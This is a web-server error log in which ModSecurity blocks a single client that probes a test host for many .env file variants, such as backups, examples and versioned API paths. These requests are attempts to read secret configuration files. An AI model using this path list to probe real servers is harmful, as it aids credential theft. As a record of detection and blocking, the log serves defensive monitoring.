[Mon Jul 28 20:46:02.937117 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5gAAAA4&quot;]
[Mon Jul 28 20:46:02.937296 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aIfFas9E66I2YPyIb96m5gAAAA4&quot;]
[Mon Jul 28 20:46:03.148018 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7QAAAA4&quot;]
[Mon Jul 28 20:46:03.148252 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7QAAAA4&quot;]
[Mon Jul 28 20:46:03.148429 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7QAAAA4&quot;]
[Mon Jul 28 20:46:03.177600 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7gAAAA4&quot;]
[Mon Jul 28 20:46:03.177849 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7gAAAA4&quot;]
[Mon Jul 28 20:46:03.178030 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7gAAAA4&quot;]
[Mon Jul 28 20:46:03.206915 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7wAAAA4&quot;]
[Mon Jul 28 20:46:03.207143 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7wAAAA4&quot;]
[Mon Jul 28 20:46:03.207316 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m7wAAAA4&quot;]
[Mon Jul 28 20:46:03.236387 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8AAAAA4&quot;]
[Mon Jul 28 20:46:03.236596 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8AAAAA4&quot;]
[Mon Jul 28 20:46:03.236754 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8AAAAA4&quot;]
[Mon Jul 28 20:46:03.265678 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8QAAAA4&quot;]
[Mon Jul 28 20:46:03.265884 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8QAAAA4&quot;]
[Mon Jul 28 20:46:03.266040 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m8QAAAA4&quot;]
[Mon Jul 28 20:46:03.504566 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-QAAAA4&quot;]
[Mon Jul 28 20:46:03.504776 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-QAAAA4&quot;]
[Mon Jul 28 20:46:03.504971 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-QAAAA4&quot;]
[Mon Jul 28 20:46:03.533856 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-gAAAA4&quot;]
[Mon Jul 28 20:46:03.534069 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-gAAAA4&quot;]
[Mon Jul 28 20:46:03.534248 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m-gAAAA4&quot;]
[Mon Jul 28 20:46:03.592708 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_AAAAA4&quot;]
[Mon Jul 28 20:46:03.592908 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_AAAAA4&quot;]
[Mon Jul 28 20:46:03.593079 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_AAAAA4&quot;]
[Mon Jul 28 20:46:03.621849 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_QAAAA4&quot;]
[Mon Jul 28 20:46:03.622054 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_QAAAA4&quot;]
[Mon Jul 28 20:46:03.622236 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_QAAAA4&quot;]
[Mon Jul 28 20:46:03.680783 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app-order-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_wAAAA4&quot;]
[Mon Jul 28 20:46:03.680998 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_wAAAA4&quot;]
[Mon Jul 28 20:46:03.681177 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96m_wAAAA4&quot;]
[Mon Jul 28 20:46:03.739725 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aIfFa89E66I2YPyIb96nAQAAAA4&quot;]
